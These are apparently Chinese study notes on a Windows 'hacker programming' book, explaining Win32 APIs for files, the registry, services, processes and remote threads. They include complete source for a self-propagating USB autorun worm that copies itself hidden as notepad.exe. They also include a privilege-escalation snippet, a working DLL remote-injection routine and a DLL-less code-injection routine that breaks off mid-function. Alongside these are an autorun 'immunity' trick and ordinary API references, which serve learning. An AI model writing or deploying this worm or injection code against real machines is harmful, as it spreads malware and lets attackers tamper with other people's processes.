《C++黑客编程解密》03 - 文件 注册表 服务 并发 DLL

文件

获得与关闭句柄

// 文件的打开与关闭
WINBASEAPI
HANDLE          // 成功返回句柄,失败返回 INVALID_HANDLE_VALUE,失败原因可用 GetLastError() 获得
WINAPI
CreateFile(
    _In_ LPCSTR lpFileName,
    _In_ DWORD dwDesiredAccess,          // 文件的访问模式,GENERIC_READ只读 GENERIC_WRITE只写
    _In_ DWORD dwShareMode,              // 共享模式,文件打开后是否允许其他进程操作
    _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,  // NULL
    _In_ DWORD dwCreationDisposition,    // 文件存在或不存在时处理方式
    _In_ DWORD dwFlagsAndAttribute       // 新建文件的属性和对文件操作的方式
    _In_opt_ HANDLE hTemplateFile        // 文件模板句柄,系统会复制该文件模板的所有属性到当前创建的文件中
);

WINBASEAPI
BOOL
WINAPI
CloseHandle(
    _In_ _Post_ptr_invalid_ HANDLE hObject
);

删除文件

WINBASEAPI
BOOL
WINAPI
DeleteFileA(
    _In_ LPCSTR lpFileName
);

读写文件

WINBASEAPI
_Must_inspect_result_
BOOL
WINAPI
ReadFile(
    _In_ HANDLE hFile,
    _Out_writes_bytes_to_opt_(nNumberOfBytesToRead, *lpNumberOfBytesRead) __out_data_source(FILE) LPVOID lpBuffer, // 保存数据的缓冲区
    _In_ DWORD nNumberOfBytesToRead,        // 要求读入字节数,通常时缓冲区大小
    _Out_opt_ LPDWORD lpNumberOfBytesRead,  // 指向一个DWORD类型的变量的指针,用于返回实际读入的字节数
    _Inout_opt_ LPOVERLAPPED lpOverlapped   // 一般为NULL
);

// 写入时的数据暂存在内部的高速缓存中,系统定期写入,减少IO次数
WINBASEAPI
BOOL
WINAPI
WriteFile(
    _In_ HANDLE hFile,
    _In_reads_bytes_opt_(nNumberOfBytesToWrite) LPCVOID lpBuffer,
    _In_ DWORD nNumberOfBytesToWrite,
    _Out_opt_ LPDWORD lpNumberOfBytesWritten,
    _Inout_opt_ LPOVERLAPPED lpOverlapped
    );

// 讲缓冲区中文件写入磁盘
WINBASEAPI
BOOL
WINAPI
FlushFileBuffers(
    _In_ HANDLE hFile
    );

// 移动文件指针
WINBASEAPI
DWORD
WINAPI
SetFilePointer(
    _In_ HANDLE hFile,
    _In_ LONG lDistanceToMove,               // 要移动的距离
    _Inout_opt_ PLONG lpDistanceToMoveHigh,  // 移动距离的高32位,一般为NULL
    _In_ DWORD dwMoveMethod                  // 指定起始位置,可从头,也可从尾
    );

逻辑驱动器相关操作

WINBASEAPI
_Success_(return != 0 && return <= nBufferLength)
DWORD
WINAPI
GetLogicalDriveStringsA(
    _In_ DWORD nBufferLength,
    _Out_writes_to_opt_(nBufferLength, return + 1) LPSTR lpBuffer // 返回字符串类型:"C:\",0,"D:\",0,"E:\",0,0
    );

// 获取驱动器类型函数
WINBASEAPI
UINT
WINAPI
GetDriveTypeA(
    _In_opt_ LPCSTR lpRootPathName // 如:"C:\"
    );
/*
返回值:
DRIVE_UNKNOWN      无法识别
DRIVE_NO_ROOT_DIR  无效驱动器路径
DRIVE_REMOVEABLE   可移动驱动器
DRIVE_FIXED        不可移动驱动器,指硬盘
DRIVE_REMOTE       网络驱动器
DRIVE_CDROM        光盘驱动器
DRIVE_RAMDISK      虚拟驱动器
*/

目录操作:

WINBASEAPI
BOOL
WINAPI
CreateDirectoryA(
    _In_ LPCSTR lpPathName,
    _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes  // NULL
    );

WINBASEAPI
BOOL
WINAPI
RemoveDirectoryA(
    _In_ LPCSTR lpPathName
    );

U盘病毒

(过时技术)

依赖 AutoRun.inf 文件,在载入光盘时自动运行指定文件。

例如:

[AutoRun]
open=notepad.exe
shell\open=打开(&O)
shell\open\Command=notepad.exe
shell\explore=资源管理器(&x)
shell\explort\Command="notepad.exe"
shell\execute=notepad.exe
shell\Auto\Command=notepad.exe

代码实现

如果在本地磁盘上,就检索所有移动磁盘,并建立 AutoRun.inf 文件和拷贝自身到移动磁盘,并命名为 notepad.exe
如果在移动硬盘上,就检索所有本地磁盘,并建立 AutoRun.inf 文件和拷贝自身到移动磁盘,并命名为 notepad.exe

注:现在系统都有一些安全设置,可能无法通过 AutoRun.inf 自动运行

 

查看代码
 #include <Windows.h>


char szAutoRun[] = "[AutoRun] \r\n\
open = notepad.exe \r\n\
shell\\open = 打开(&O) \r\n\
shell\\open\\Command = notepad.exe \r\n\
shell\\explore = 资源管理器(&x) \r\n\
shell\\explort\\Command = notepad.exe \r\n\
shell\\execute = notepad.exe \r\n\
shell\\Auto\\Command = notepad.exe";


void infect(char* pszFile, UINT uDriveType)
{
    char szDriveString[MAXBYTE] = { 0 };
    DWORD dwRet = 0;
    DWORD iNum = 0;
    char szRoot[4] = { 0 };
    UINT uType = 0;
    char szTarget[MAX_PATH] = { 0 };

    dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);

    while (iNum < dwRet)
    {
        strncpy(szRoot, &szDriveString[iNum], 3);

        uType = GetDriveType(szRoot);

        if (uType == uDriveType)
        {
            // 拷贝文件并设置隐藏属性
            lstrcpy(szTarget, szRoot);
            lstrcat(szTarget, "notepad.exe");
            CopyFile(pszFile, szTarget, FALSE);
            SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);

            // 建立 AutoRun.inf 文件
            lstrcpy(szTarget, szRoot);
            lstrcat(szTarget, "autorun.inf");
            HANDLE hFile = CreateFile(szTarget, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
            DWORD dwWritten = 0;
            WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL);
            SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);

            CloseHandle(hFile);
        }
        iNum += 4;
    }
}

int main()
{
    char szFileName[MAX_PATH] = { 0 };
    char szRoot[4] = { 0 };
    UINT uType = 0;

    GetModuleFileName(NULL, szFileName, MAX_PATH);
    strncpy(szRoot, szFileName, 3);   // 获取盘符

    uType = GetDriveType(szRoot);

    switch (uType)
    {
    case DRIVE_FIXED:
    {
        infect(szFileName, DRIVE_REMOVABLE);
        break;
    }
    case DRIVE_REMOVABLE:
    {
        infect(szFileName, DRIVE_FIXED);
        break;
    }
    default:
        break;
    }

    return 0;
}

 免疫 AutoRun

 建立一个无法被删除的 AutoRun.inf 文件夹(并不是真的无法被删除)

手动创建:

  1. cd \
  2. mkdir autorun.inf
  3. cd autorun.inf
  4. mkdir anti...\

也可直接在注册表中禁用”自动播放“

注册表编程

”开始“ -> ”运行“ -> regedit

打开关闭注册表:

WINADVAPI
LSTATUS    // 成功返回 ERROR_SUCCESS 并在phkResult 中保存返回打开子键的句柄
APIENTRY
RegOpenKeyExA(
    _In_ HKEY hKey,            // 父键句柄
    _In_opt_ LPCSTR lpSubKey,  // 指向字符串,要打开的子键名称
    _In_opt_ DWORD ulOptions,  // 系统保留,必须为 0
    _In_ REGSAM samDesired,    // 存取权限,一般为 KEY_ALL_ACCESS
    _Out_ PHKEY phkResult      // 指向一个双子变量,用于接收打开的子键句柄
    );

WINADVAPI
LSTATUS
APIENTRY
RegCloseKey(
    _In_ HKEY hKey
    );

创建和删除:

WINADVAPI
LSTATUS    // 成功返回 ERROR_SUCCESS
APIENTRY
RegCreateKeyExA(
    _In_ HKEY hKey,
    _In_ LPCSTR lpSubKey,
    _Reserved_ DWORD Reserved,  // 系统保留,一般为0
    _In_opt_ LPSTR lpClass,     // 子键类名,一般为 NULL
    _In_ DWORD dwOptions,       // 创建子键时选项,通常用 REG_OPTION_NON_VOLATILE 表示创建的子键被创建到注册表文件中,而非内存中
    _In_ REGSAM samDesired,     // 打开注册表的存储权限, KEY_ALL_ACCESS
    _In_opt_ CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes,  // NULL
    _Out_ PHKEY phkResult,      // 一个双子变量,用于保存子键句柄
    _Out_opt_ LPDWORD lpdwDisposition   // NULL
    );

WINADVAPI
LSTATUS
APIENTRY
RegDeleteKeyA (
    _In_ HKEY hKey,
    _In_ LPCSTR lpSubKey
    );

查询 写入 删除

WINADVAPI
LSTATUS
APIENTRY
RegQueryValueEx(
    _In_ HKEY hKey,                  // 子键句柄
    _In_opt_ LPCSTR lpValueName,     // 要读取的键值项名称
    _Reserved_ LPDWORD lpReserved,   // NULL
    _Out_opt_ LPDWORD lpType,        // 接收返回的键值类型,可为 NULL
    _Out_writes_bytes_to_opt_(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData, // 指向缓冲区,用于接收数据
    _When_(lpData == NULL,_Out_opt_) _When_(lpData != NULL,_Inout_opt_) LPDWORD lpcbData       // 调用时指定缓冲区长度,返回时为实际接收到的长度
    );

WINADVAPI
LSTATUS
APIENTRY
RegSetValueExA(
    _In_ HKEY hKey,
    _In_opt_ LPCSTR lpValueName,
    _Reserved_ DWORD Reserved,    // 0
    _In_ DWORD dwType,            // 要写入的数据类型
    _In_reads_bytes_opt_(cbData) CONST BYTE* lpData, // 写入数据的缓冲区
    _In_ DWORD cbData             // 缓冲区长度
    );


WINADVAPI
LSTATUS
APIENTRY
RegDeleteValueA(
    _In_ HKEY hKey,
    _In_opt_ LPCSTR lpValueName
    );

子键和键值的枚举:

WINADVAPI
LSTATUS
APIENTRY
RegEnumKeyEx(
    _In_ HKEY hKey,
    _In_ DWORD dwIndex,               // 指定需要返回信息的子键索引编号
    _Out_writes_to_opt_(*lpcchName,*lpcchName + 1) LPSTR lpName,   // 接收子键名称的缓冲区
    _Inout_ LPDWORD lpcchName,        // 调用前保存缓冲区长度,调用后保存实际接收到数据长度
    _Reserved_ LPDWORD lpReserved,    // NULL
    _Out_writes_to_opt_(*lpcchClass,*lpcchClass + 1) LPSTR lpClass, // NULL
    _Inout_opt_ LPDWORD lpcchClass,   // NULL
    _Out_opt_ PFILETIME lpftLastWriteTime    // 指向一个 FILETIME 结构体,用于接收最后一次被写入的时间
    );


WINADVAPI
LSTATUS
APIENTRY
RegEnumValue(
    _In_ HKEY hKey,                     // 指定被枚举的键句柄
    _In_ DWORD dwIndex,                 // 指定要返回信息的键值索引编号
    _Out_writes_to_opt_(*lpcchValueName,*lpcchValueName + 1) LPSTR lpValueName,  // 接收键值名称的缓冲区
    _Inout_ LPDWORD lpcchValueName,     // 调用前保存缓冲区长度,调用后保存实际接收到数据长度
    _Reserved_ LPDWORD lpReserved,      // NULL
    _Out_opt_ LPDWORD lpType,           // 指向一个用于返回键值数据类型的变量
    _Out_writes_bytes_to_opt_(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData,  // 接收返回键值数据的缓冲区
    _Inout_opt_ LPDWORD lpcbData        // 调用前保存缓冲区长度,调用后保存实际接收到数据长度
    );

 

 

 

服务

一种系统启动时启动的进程机制,这种机制不依赖用户的交互。可以是由独立进程的exe程序,也可以是依附于某个进程的dll文件,也可能是处于系统内核的sys文件。

”运行“ -> 输入”services.msc“

服务分类:

#define SERVICE_DRIVER \                 // 驱动程序服务
    (SERVICE_KERNEL_DRIVER | \           // 设备驱动程序
    SERVICE_FILE_SYSTEM_DRIVER | \       // 内核模式系统驱动程序
    SERVICE_RECOGNIZER_DRIVER)           // 文件系统识别器驱动程序

#define SERVICE_WIN32 \                  // win32应用程序服务
    (SERVICE_WIN32_OWN_PROCESS | \       // 独占一个进程的服务
    SERVICE_WIN32_SHARE_PROCESS)         // 与其他服务共享一个进程的服务

#define SERVICE_TYPE_ALL               (SERVICE_WIN32  | \
                                        SERVICE_ADAPTER | \
                                        SERVICE_DRIVER  | \
                                        SERVICE_INTERACTIVE_PROCESS | \
                                        SERVICE_USER_SERVICE | \
                                        SERVICE_USERSERVICE_INSTANCE | \
                                        SERVICE_PKG_SERVICE)

打开服务管理器:

// 打开服务管理器
WINADVAPI
SC_HANDLE
WINAPI
OpenSCManagerA(
    _In_opt_        LPCSTR                lpMachineName,     // 本机设为NULL
    _In_opt_        LPCSTR                lpDatabaseName,    // 目标主句SCM数据库名字字符串
    _In_            DWORD                   dwDesiredAccess  // 服务权限
    );

// 关闭服务管理器
WINADVAPI
BOOL
WINAPI
CloseServiceHandle(
    _In_        SC_HANDLE   hSCObject
    );

服务枚举函数:

WINADVAPI
BOOL
WINAPI
EnumServicesStatus(
    _In_            SC_HANDLE               hSCManager,          // OpenSCManager()返回的句柄
    _In_            DWORD                   dwServiceType,       // 指定枚举的服务类型
    _In_            DWORD                   dwServiceState,      // 枚举指定状态的服务
    _Out_writes_bytes_opt_(cbBufSize)
                    LPENUM_SERVICE_STATUSA  lpServices,          // 指向 ENUM_SERVICE_STATUS 类型指针
    _In_            DWORD                   cbBufSize,           // 缓冲区大小
    _Out_           LPDWORD                 pcbBytesNeeded,      // 实际使用内存空间大小
    _Out_           LPDWORD                 lpServicesReturned,  // 返回枚举服务的个数
    _Inout_opt_     LPDWORD                 lpResumeHandle       // 返回枚举是否成功
    );

typedef struct _ENUM_SERVICE_STATUSA {
    LPSTR             lpServiceName;
    LPSTR             lpDisplayName;
    SERVICE_STATUS    ServiceStatus;
} ENUM_SERVICE_STATUSA, *LPENUM_SERVICE_STATUSA;

typedef struct _SERVICE_STATUS {
    DWORD   dwServiceType;
    DWORD   dwCurrentState;
    DWORD   dwControlsAccepted;
    DWORD   dwWin32ExitCode;
    DWORD   dwServiceSpecificExitCode;
    DWORD   dwCheckPoint;
    DWORD   dwWaitHint;
} SERVICE_STATUS, *LPSERVICE_STATUS;

打开、启动、停止指定服务:

WINADVAPI
SC_HANDLE
WINAPI
OpenServiceA(
    _In_            SC_HANDLE               hSCManager,
    _In_            LPCSTR                lpServiceName,
    _In_            DWORD                   dwDesiredAccess // SC_MANAGER_ALL_ACCESS
    );


WINADVAPI
BOOL
WINAPI
StartServiceA(
    _In_            SC_HANDLE            hService,
    _In_            DWORD                dwNumServiceArgs,   // 参数个数
    _In_reads_opt_(dwNumServiceArgs)
                    LPCSTR             *lpServiceArgVectors  // 指向参数
    );


WINADVAPI
BOOL
WINAPI
ControlService(
    _In_        SC_HANDLE           hService,
    _In_        DWORD               dwControl,         // 控制码,停止服务的为 SERVICE_CONTROL_STOP
    _Out_       LPSERVICE_STATUS    lpServiceStatus
    );

 

 

进程

创建

WINBASEAPI
UINT
WINAPI
WinExec(
    _In_ LPCSTR lpCmdLine,  // 可执行文件
    _In_ UINT uCmdShow      // 运行后窗口状态  SW_SHOW 正常显示   SW_HIDE 隐藏状态
    );


WINBASEAPI
BOOL
WINAPI
CreateProcessA(
    _In_opt_ LPCSTR lpApplicationName,     // 可执行文件名称
    _Inout_opt_ LPSTR lpCommandLine,       // 命令行参数
    _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,  // NULL
    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,   // NULL
    _In_ BOOL bInheritHandles,             // 当前进程中句柄是否可被新进程继承
    _In_ DWORD dwCreationFlags,            // 优先级及其他创建标识,一般为 0
    _In_opt_ LPVOID lpEnvironment,         // 指定新进程环境变量,通常NULL
    _In_opt_ LPCSTR lpCurrentDirectory,    // 使用的当前目录
    _In_ LPSTARTUPINFOA lpStartupInfo,     // 指向启动信息结构体
    _Out_ LPPROCESS_INFORMATION lpProcessInformation   // 指向返回新进程和主线程相关信息的结构体
    );

typedef struct _STARTUPINFOA {
    DWORD   cb;
    LPSTR   lpReserved;
    LPSTR   lpDesktop;
    LPSTR   lpTitle;
    DWORD   dwX;
    DWORD   dwY;
    DWORD   dwXSize;
    DWORD   dwYSize;
    DWORD   dwXCountChars;
    DWORD   dwYCountChars;
    DWORD   dwFillAttribute;
    DWORD   dwFlags;
    WORD    wShowWindow;
    WORD    cbReserved2;
    LPBYTE  lpReserved2;
    HANDLE  hStdInput;
    HANDLE  hStdOutput;
    HANDLE  hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

typedef struct _PROCESS_INFORMATION {
    HANDLE hProcess;
    HANDLE hThread;
    DWORD dwProcessId;
    DWORD dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;


// 关闭结构体中保存的两个句柄
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
// 用于下载文件,下面两行也必须添加
#include <urlmon.h>
#pragma comment (lib, "urlmon")
STDAPI URLDownloadToFileA(
    _In_opt_ LPUNKNOWN,  // NULL
    _In_ LPCSTR,         // URL字符串
    _In_opt_ LPCSTR,     // 保存地址字符串
    DWORD,               // 0
    _In_opt_ LPBINDSTATUSCALLBACK  // NULL
);                             

 关闭

 使用 CloseHandle() 关闭

 结束进程

 正常进程退出时会调用 ExitProcess() 函数;
可以通过 SendMessage() 发送 WM_CLOSE 到目标窗口;
通过窗口找到进程id,再获得进程句柄并关闭:

WINUSERAPI
HWND
WINAPI
FindWindowA(
    _In_opt_ LPCSTR lpClassName,
    _In_opt_ LPCSTR lpWindowName);


WINUSERAPI
DWORD
WINAPI
GetWindowThreadProcessId(
    _In_ HWND hWnd,                     // 窗口句柄
    _Out_opt_ LPDWORD lpdwProcessId);   // 窗口句柄对应进程id


WINBASEAPI
HANDLE
WINAPI
OpenProcess(
    _In_ DWORD dwDesiredAccess,  // 打开进程欲获得的访问权限
    _In_ BOOL bInheritHandle,    // 获得的句柄是否可以继承
    _In_ DWORD dwProcessId       // 与打开的进程ID号
    );


WINBASEAPI
BOOL
WINAPI
TerminateProcess(
    _In_ HANDLE hProcess,  // 要结束的进程句柄
    _In_ UINT uExitCode    // 退出码,通常为0
    );

 枚举

// 返回一个快照句柄,给枚举函数使用,用 CloseHandle 销毁
HANDLE
WINAPI
CreateToolhelp32Snapshot(
    DWORD dwFlags,         // 建立系统快照的类型
    DWORD th32ProcessID    // 枚举系统中进程或线程时为NULL;枚举进程中加载DLL时该参数是进程ID
    );
// dwFlags
//
#define TH32CS_SNAPHEAPLIST 0x00000001
#define TH32CS_SNAPPROCESS  0x00000002  // 在枚举进程中进程时指定
#define TH32CS_SNAPTHREAD   0x00000004  // 在枚举进程中线程时指定
#define TH32CS_SNAPMODULE   0x00000008  // 在枚举进程中DLL时指定
#define TH32CS_SNAPMODULE32 0x00000010
#define TH32CS_SNAPALL      (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)
#define TH32CS_INHERIT      0x80000000

进程

BOOL
WINAPI
Process32First(
    HANDLE hSnapshot,     // 快照句柄
    LPPROCESSENTRY32 lppe // 指向结构体的指针
    );
typedef struct tagPROCESSENTRY32
{
    DWORD   dwSize;                 // 使用时这个变量赋值结构体大小
    DWORD   cntUsage;
    DWORD   th32ProcessID;          // this process
    ULONG_PTR th32DefaultHeapID;
    DWORD   th32ModuleID;           // associated exe
    DWORD   cntThreads;
    DWORD   th32ParentProcessID;    // this process's parent process
    LONG    pcPriClassBase;         // Base priority of process's threads
    DWORD   dwFlags;
    CHAR    szExeFile[MAX_PATH];    // 可执行文件名称
} PROCESSENTRY32;


BOOL
WINAPI
Process32Next(
    HANDLE hSnapshot,
    LPPROCESSENTRY32 lppe
    );

 线程枚举函数

Thread32First() Thread32Next()

DLL枚举函数

Module32First() Module32Next()

查看代码
 #include <Windows.h>
#include <TlHelp32.h>

#include <stdio.h>

int main()
{

    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);

    for (BOOL bRet = Process32First(hSnap, &pe32); bRet; bRet = Process32Next(hSnap, &pe32))
    {
        printf("%s\n", pe32.szExeFile);
    }

    CloseHandle(hSnap);

    return 0;
}

调整进程权限

由于进程权限不够,导致 CreateToolhelp32Snapshot OpenProcess 调用失败。解决方式是将进程权限提升至 SeDebugPrivilege,获得权限后可访问一些受限的系统资源。

  1. 使用 OpenProcessToken() 打开当前进程的访问令牌
  2. 使用 LookupPrivilegeValue() 取得描述权限的 LUID
  3. 使用 AdjustTokenPrivileges() 调整访问令牌的权限
    HANDLE hToken = NULL;
    BOOL bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

    if (bRet == TRUE)
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        CloseHandle(hToken);
    }

进程暂停和恢复

暂停进程就是暂停进程中的全部线程。

// 先通过此函数获得线程句柄
WINBASEAPI
_Ret_maybenull_
HANDLE
WINAPI
OpenThread(
    _In_ DWORD dwDesiredAccess,
    _In_ BOOL bInheritHandle,
    _In_ DWORD dwThreadId
    );


WINBASEAPI
DWORD
WINAPI
SuspendThread(
    _In_ HANDLE hThread
    );

WINBASEAPI
DWORD
WINAPI
ResumeThread(
    _In_ HANDLE hThread
    );

要暂停进程中全部线程就要枚举线程,使用 Thread32First Thread32Next ,枚举前仍要使用 CreateToolhelp32Snapshot 创建系统进程快照,不能创建指定进程中线程快照。在暂停时要对枚举到的线程判断。THREADENTRY32 结构体中 th32ThreadID 表示当前枚举到线程的线程ID,th32OwnerProcessID 则表示线程所属的进程ID。这样可以进行判断。

暂停:

    int nPid = ???; // 进程id
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, nPid);
    if (hSnap == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    THREADENTRY32 Te32 = { 0 };
    Te32.dwSize = sizeof(THREADENTRY32);

    for (BOOL bRet = Thread32First(hSnap, &Te32); 
        bRet; 
        bRet = Thread32Next(hSnap, &Te32))
    {
        // 获得线程句柄
        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, Te32.th32ThreadID);
        // 暂停线程
        SuspendThread(hThread);
        CloseHandle(hThread);
    }
    CloseHandle(hSnap);

多线程

https://www.cnblogs.com/zhh567/p/16537345.html

  1. CreateThread
  2. WaitForSingleObject
  3. WaitForMultipleObject

DLL 动态库

https://www.cnblogs.com/zhh567/p/16536626.html

 

 

远程线程编程

远程线程就是进程A在进程B中创建一个线程。

// CreateThread 函数就是调用这个函数在本进程中创建线程
WINBASEAPI
_Ret_maybenull_
HANDLE
WINAPI
CreateRemoteThread(
    _In_ HANDLE hProcess,            // 目标进程句柄
    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_ SIZE_T dwStackSize,
    _In_ LPTHREAD_START_ROUTINE lpStartAddress,
    _In_opt_ LPVOID lpParameter,
    _In_ DWORD dwCreationFlags,
    _Out_opt_ LPDWORD lpThreadId
    );

每个进程的地址空间都是隔离的,那么新创建的线程函数地址也应该在目标进程中,而不是在调用 CreateRemoteThread 函数的进程中,同样传递的参数也应该在目标进程中。

注入时可能存在权限不足的情况,要使用之前提到的方法调整进程权限:

void fun()
{
    HANDLE hToken = NULL;

    BOOL bRet = OpenProcessToken(GetCurrentProcess(), 
                                 TOKEN_ALL_ACCESS, &hToken);

    if ( bRet == TRUE )
    {
        TOKEN_PRIVILEGES tp;

        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, 
                             &tp.Privileges[0].Luid);

        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, 
                              sizeof(tp), NULL, NULL);

        CloseHandle(hToken);
    }
}

DLL 远程注入

加载dll的函数 HMODULE WINAPI LoadLibrary( _In_ LPCSTR lpLibFileName ) 与线程启动函数 typedef DWORD (WINAPI *PTHREAD_START_ROUTINE)( LPVOID lpThreadParameter ) 格式一致

三个问题:

  1. 如何将 LoadLibrary 加载到目标进程空间?
    LoadLibrary 是系统中Kernel32.dll 的导出函数, Kernel32.dll 这个DLL 文件在任何进程中加载位置都相同,及LoadLibrary 函数的位置都是相同的。因此,CreateRemoteThread 的函数地址参数直接传送 LoadLibrary 函数的地址即可。
  2. 如何将要加载的DLL文件完整路径写入目标程序?
    这要借助 WriteProcessMemory 函数
  3. 如何确定应该将DLL文件的完整路径写入目标进程的哪个地址?
    对于目标进程事先是不会准备好一块地址让用户写入的,用户要做的是申请一块内存然后把DLL文件内容写入。
// 该函数十分强大,可以直接修改进程中指定的值
WINBASEAPI
_Success_(return != FALSE)
BOOL
WINAPI
WriteProcessMemory(
    _In_ HANDLE hProcess,           // 进程句柄
    _In_ LPVOID lpBaseAddress,      // 写入目标内存的起始地址
    _In_reads_bytes_(nSize) LPCVOID lpBuffer,  // 缓冲区
    _In_ SIZE_T nSize,              // 缓冲区长度
    _Out_opt_ SIZE_T* lpNumberOfBytesWritten   // 写入的长度
    );


// 在目标进程申请一块内存
WINBASEAPI
_Ret_maybenull_
_Post_writable_byte_size_(dwSize)
LPVOID       // 返回值是在目标进程申请到的内存块起始地址
WINAPI
VirtualAllocEx(
    _In_ HANDLE hProcess,           // 目标进程
    _In_opt_ LPVOID lpAddress,      // 目标进程中申请内存的起始地址
    _In_ SIZE_T dwSize,             // 申请内存的长度
    _In_ DWORD flAllocationType,    // 申请内存的状态类型
    _In_ DWORD flProtect            // 申请内存的属性
    );

 

void fun(char* szProcessName, DWORD dwPid, char* szDllName)
{
    // 通过进程名获得 PID
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);

    DWORD procID;
    for (BOOL bRet = Process32First(hSnap, &pe32); bRet; bRet = Process32Next(hSnap, &pe32))
    {
        if (lstrcmp(strupr(pe32.szExeFile), strupr(szProcessName)) == 0)
        {
            procID = pe32.th32ProcessID;
        }
    }

    // 打开目标进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
    {
        return;
    }

    // 计算预注入dll文件完整路径长
    int nDllLen = lstrlen(szDllName) + sizeof(char);

    // 在目标进程申请一块长为 nDllLen 大小的内存空间
    PVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nDllLen,
        MEM_COMMIT, PAGE_READONLY);
    if (pDllAddr == NULL)
    {
        CloseHandle(hProcess);
        return;
    }

    // 将欲注入 DLL 文件的完整路径写入在目标进程中申请的空间
    DWORD dwWriteNum = 0;
    WriteProcessMemory(hProcess, pDllAddr, szDllName, nDllLen, (SIZE_T*)&dwWriteNum);

    // 获得 LoadLibraryA 函数的地址
    FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

    // 创建远程线程
    HANDLE hThread = CreateRemoteThread(hProcess,
        NULL, 0,
        (LPTHREAD_START_ROUTINE)pFunAddr,
        pDllAddr, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    CloseHandle(hProcess);
}

 

卸载远程DLL

 

void fun(DWORD dwPid, char* szDllName)
{
    HANDLE hSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPid);

    MODULEENTRY32 me32;
    me32.dwSize = sizeof(me32);

    // 查找匹配的进程名称
    for (BOOL bRet = Module32First(hSnap, &me32); bRet; bRet = Module32Next(hSnap, &me32))
    {
        if (lstrcmp(strupr(me32.szExePath), strupr(szDllName)) == 0)
        {
            break;
        }
    }

    CloseHandle(hSnap);

    // 获得进程句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
    {
        return;
    }

    // 获得函数地址
    FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "FreeLibrary");

    // 创建远程线程
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pFunAddr,
        me32.hModule, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    CloseHandle(hProcess);
}

 

不依赖DLL进行注入

Kernel32.dll 在每个进程中地址都是相同的,但并不代表其他DLL文件在每个进程中地址都是一样的。

所以,在目标进程中调用API函数时,必须使用 LoadLibrary()GetProcAddress() 函数动态调用用到的每个API函数。

把想要使用的API函数和所在DLL文件都封装到一个结构体中,直接写入到目标进程空间中。把要远程执行的代码也写入目标进程中的内存中,最后调用 CreateRemoteThread() 即可运行

// 不借助DLL让远程线程弹出一个提示对话框

#define STRLEN 20

typedef struct _DATA
{
    // Kernel32.dll 的导出函数,可在注入前获取
    DWORD dwLoadLibrary;
    DWORD dwGetProcAddress;
    DWORD dwGetModuleHandle;
    DWORD dwGetModuleFileName;

    // 保存 "User32.dll" 字符串
    char User32Dll[STRLEN];
    // 保存 "MessageBoxA" 字符串
    char MessageBox[STRLEN];
    // 要弹出的字符串
    char Str[STRLEN];
}DATA, * PDATA;



DWORD WINAPI RemoteThreadProc(LPVOID lpParam)
{
    PDATA pData = (PDATA)lpParam;

    // 定义API函数原型
    HMODULE(__stdcall * MyLoadLibrary)(LPCTSTR);
    FARPROC(__stdcall * MyGetProcAddress)(HMODULE, LPCSTR);
    HMODULE(__stdcall * MyGetModuleHandle)(LPCTSTR);
    int(__stdcall * MyMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT);
    DWORD(__stdcall * MyGetModuleFileName)(HMODULE, LPTSTR, DWORD);

    // 对各函数地址赋值
    MyLoadLibrary = (HMODULE(__stdcall*)(LPCTSTR))
        pData->dwLoadLibrary;
    MyGetProcAddress = (FARPROC(__stdcall*)(HMODULE, LPCSTR))
        pData->dwGetProcAddress;
    MyGetModuleHandle = (HMODULE(__stdcall*)(LPCSTR))
        pData->dwGetModuleHandle;
